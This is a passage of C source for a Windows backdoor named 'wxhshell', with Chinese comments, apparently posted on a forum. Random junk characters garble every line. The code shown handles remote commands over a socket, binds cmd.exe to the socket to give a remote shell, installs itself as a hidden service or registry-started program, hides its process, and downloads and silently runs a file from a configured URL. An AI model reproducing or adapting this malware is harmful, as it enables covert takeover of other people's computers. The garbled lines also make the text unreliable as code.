      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pp#!sRUKPV  
    break; %k"hzjXAw  
  } -nD} k  
  // 安装 FyXO @yF  
  case 'i': { 0>;[EFL  
    if(Install()) 7)>L#(N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wpNb/U  
    else p Zxx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q+;lxR5D  
    break; &P*r66  
    } Dl\0xcE  
  // 卸载 9Ns%<FRO@  
  case 'r': { ;_ 1Rk&o!  
    if(Uninstall()) |<1A<fU8a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr&UD|E=  
    else "cOBEhn%l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vZ6R>f  
    break; P $r!u%W  
    } J!Rqm!)q  
  // 显示 wxhshell 所在路径   LR4W  
  case 'p': { n(n7"+B  
    char svExeFile[MAX_PATH]; #!m^EqF1_  
    strcpy(svExeFile,"\n\r"); *uxKI:rB:  
      strcat(svExeFile,ExeFile); }`2+`w%uZ  
        send(wsh,svExeFile,strlen(svExeFile),0); az}zoFl  
    break; ?<OyJ|;V  
    } rc`Il{~k  
  // 重启 !0Ak)Q]e'  
  case 'b': { a_DK"8I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `sv]/8RN  
    if(Boot(REBOOT)) ;s4e8![o3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a@ ? Bv  
    else { 4VA]S  
    closesocket(wsh); dry%aT  
    ExitThread(0); v9gaRqi8  
    } f7%g=0.F  
    break; ^Y8G}Z|  
    } )"00fZL  
  // 关机 QdD@[  
  case 'd': { nAsc^ Yh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F"tM?V.|  
    if(Boot(SHUTDOWN)) >;s2V_d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oChf&W 8u  
    else { 2@&"*1(Xu  
    closesocket(wsh); 0'zjPE#  
    ExitThread(0); ~PN[ #e]  
    } idS+&:'  
    break; )Dcee@/7S  
    } Ghe@m6|D  
  // 获取shell \pI ,6$'  
  case 's': { 3m~3l d  
    CmdShell(wsh); *JWPt(bnI  
    closesocket(wsh); cvpZF5mL]U  
    ExitThread(0); Aq$o&t  
    break; nXh<+7  
  } IJ{VCzi  
  // 退出 *@YQr]~ ;  
  case 'x': { 6iEA._y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V%^d~^m,H  
    CloseIt(wsh); 7=A @P  
    break; zHW&i~  
    } wA87|YK8*  
  // 离开 K=P LOC5  
  case 'q': { Ml_!)b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "x3!F&  
    closesocket(wsh); ?J"Y4,{  
    WSACleanup(); `K2vG`c  
    exit(1); fKs3H?|  
    break; CZCVC (/u  
        } 2\Yv;J+;  
  } #vR5a}BAk  
  } %nkbQ2^  
A.!3{pAb  
  // 提示信息 ?Xp+5{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c,*a|@  
} s6oIj$  
  } Bf,}mCq  
gdqED}v  
  return; t.7_7`bin~  
} $bk_%R}s  
A&Q!W)=  
// shell模块句柄 r"lh\C|  
int CmdShell(SOCKET sock) &{x`K4N  
{ u3PM 7z!~  
STARTUPINFO si; (j}edRUnB  
ZeroMemory(&si,sizeof(si)); ,^T0!k$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^P*+0?aFr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <yKyM#4X  
PROCESS_INFORMATION ProcessInfo; ;FjI!V  
char cmdline[]="cmd"; w`Rt"d_B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tQ2S*]"f  
  return 0; W6yz/{Rf  
} / DS T|2  
ZD8E+]+  
// 自身启动模式 b$B-LvHd1  
int StartFromService(void)  Z Mf,3  
{ ^Ov+n1,)  
typedef struct T%2%*oa  
{ VmTgD96  
  DWORD ExitStatus; & y7~  
  DWORD PebBaseAddress; dQAo~] B  
  DWORD AffinityMask; M[&p[P@  
  DWORD BasePriority; 2AjP2  
  ULONG UniqueProcessId; Nbm$ta  
  ULONG InheritedFromUniqueProcessId; PE+{<[n  
}   PROCESS_BASIC_INFORMATION; U9//m=_  
A~wyn5:_  
PROCNTQSIP NtQueryInformationProcess; /<IXCM.  
Mwd.S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 71HrpTl1fw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WQY\R!+  
z`|E0~{-  
  HANDLE             hProcess; o@|kq1m8  
  PROCESS_BASIC_INFORMATION pbi; [i]%PVGW  
]Ai!G7s8P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YZ5[# E@l  
  if(NULL == hInst ) return 0; 6IL-S%EGK1  
I8:G:s:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'i8?]` T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4"V6k4i5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S)A;!}RK6  
I,?!NzB  
  if (!NtQueryInformationProcess) return 0; 7FP @ vng  
+|spC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ; 5!8LmZ0#  
  if(!hProcess) return 0; ;:ocU?  
$/P\@|MqYQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8EZ,hY^  
9CHn6 v ~)  
  CloseHandle(hProcess); vP/sG5$x  
1);E!D[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g_MxG!+(V  
if(hProcess==NULL) return 0; 2}#VB;B  
-"n8Wv  
HMODULE hMod; >  ,P,{"  
char procName[255]; SQf.R%cg$  
unsigned long cbNeeded; a~`,zQ -@  
%A;s 3 ]V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 259:@bi!y  
7Y*Q)DDy  
  CloseHandle(hProcess); @XX7ydG5  
d>1#|  
if(strstr(procName,"services")) return 1; // 以服务启动 @S  Quc  
Y/34~lhyl  
  return 0; // 注册表启动 &d[%  
} ltXGm)+  
=D?{d{JT  
// 主模块 HlX2:\\  
int StartWxhshell(LPSTR lpCmdLine) ]"\XTL0  
{ VDPq3`$+v{  
  SOCKET wsl; PAy7b7m~B  
BOOL val=TRUE; .h;X5q1  
  int port=0; <p8>"~ R  
  struct sockaddr_in door; (I(k$g[>  
Y@V6/D} 1  
  if(wscfg.ws_autoins) Install(); uBBW2  
C= PV-Ul+  
port=atoi(lpCmdLine); iMs(Ywak]  
+P"u1q*+p  
if(port<=0) port=wscfg.ws_port; R2nDK7j  
3a6  
  WSADATA data; l`RFi)u~&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *XqS~G  
y O?52YO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H6-{(: *<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #h7 $b@  
  door.sin_family = AF_INET; 'd|E>8fejG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <=!|U0YV  
  door.sin_port = htons(port); 1 ,4V8gp  
C)qP9uW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,DWC=:@X  
closesocket(wsl); fm^)u"  
return 1; mi{ r7.e5I  
} JWs?az  
W|[k]A` 2  
  if(listen(wsl,2) == INVALID_SOCKET) { sh8(+hg  
closesocket(wsl); T1~,.(#  
return 1; u=p-]?  
} vpqMKyy  
  Wxhshell(wsl); f%TP>)jag!  
  WSACleanup(); u:O6MO9^  
jj"?#`cW  
return 0; U-:_4[  
Z~Z+Yt;,9a  
} `_H^k !^  
>dqeGM7Np>  
// 以NT服务方式启动 I45\xP4i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~6:y@4&F  
{ 4\EvJg@Z.  
DWORD   status = 0; 1'g{tP"d  
  DWORD   specificError = 0xfffffff; AA0zt N  
&>o?0A6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @V# wYt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lIF*$#`oh*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {uMqd-Uu  
  serviceStatus.dwWin32ExitCode     = 0; FUU/=)^P$  
  serviceStatus.dwServiceSpecificExitCode = 0; J*CfG;Y:  
  serviceStatus.dwCheckPoint       = 0; 5mYI5~ p  
  serviceStatus.dwWaitHint       = 0; wa4(tM2  
Qz?r4kR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4'-GcH  
  if (hServiceStatusHandle==0) return; VNLggeX'U  
n`)wD~mk  
status = GetLastError(); Zr@G  
  if (status!=NO_ERROR) 2VNfnk  
{ #2*2xt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t#[u X?  
    serviceStatus.dwCheckPoint       = 0; lw"5p)aB  
    serviceStatus.dwWaitHint       = 0; z;En Ay{9  
    serviceStatus.dwWin32ExitCode     = status; l<mEGKB#  
    serviceStatus.dwServiceSpecificExitCode = specificError; k@= LR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P(BV J_n  
    return; Z<0+<tt  
  } M.R] hI  
N%&D(_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b/Z 0{38  
  serviceStatus.dwCheckPoint       = 0; #ZRplA~C7]  
  serviceStatus.dwWaitHint       = 0; -"e$ VB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5Pl~du  
} O6pL )6d  
nob^ I5?  
// 处理NT服务事件,比如:启动、停止 [,fdNxc8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c;e2= A  
{ Bswd20(w  
switch(fdwControl) J]|lCwF  
{ \dag~b<  
case SERVICE_CONTROL_STOP: <\cH9D`dE  
  serviceStatus.dwWin32ExitCode = 0; Z"fnjH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |E)IJj 3  
  serviceStatus.dwCheckPoint   = 0; %Sdzr!I7*  
  serviceStatus.dwWaitHint     = 0; y 3O Nn~k  
  { #TX=%x6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j\SW~}d9  
  } cAE.I$T(  
  return; Y)I8(g}0  
case SERVICE_CONTROL_PAUSE: qm)KO 4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5CsJghTw  
  break; r. :H`  
case SERVICE_CONTROL_CONTINUE: Vhs:X~=qL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 61J01(+|  
  break; 97um7n  
case SERVICE_CONTROL_INTERROGATE: lAwOp  
  break; Y Hv85y  
}; Y(]&j`%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cKX6pG  
} ?DC3BA\)  
jbqhNsTNK  
// 标准应用程序主函数 ,SAS\!hsE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) THmX=K4=?  
{ sQS2U6  
;mLbJT   
// 获取操作系统版本 ?)cNe:KY  
OsIsNt=GetOsVer(); [-sE:O`yt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "]nbM}>  
u= K?K  
  // 从命令行安装 snBC +`-  
  if(strpbrk(lpCmdLine,"iI")) Install(); <'4DMZ-G  
w%1B_PyDg  
  // 下载执行文件 X~Li`  
if(wscfg.ws_downexe) { pAV}hB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T@]vjXd![  
  WinExec(wscfg.ws_filenam,SW_HIDE); PaEsz$mgy  
} t _Q/v  
x=qACoq  
if(!OsIsNt) { jBEt!Azur  
// 如果时win9x,隐藏进程并且设置为注册表启动 XRI1/2YA  
HideProc(); kl|KFdA;  
StartWxhshell(lpCmdLine); !o 7uZC\  
} .JpYZ |  
else BcT|TX+ct  
  if(StartFromService()) 1Ly?XNS  
  // 以服务方式启动 )G6]r$M>o0  
  StartServiceCtrlDispatcher(DispatchTable); qfY.X&]PU  
else [JGa3e  
  // 普通方式启动 4.3Bz1p&#  
  StartWxhshell(lpCmdLine); 'sm+3d  
VPf*>ph=  
return 0; (o\:rLZu  
}
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只看该作者 1 发表于: 2006-10-10
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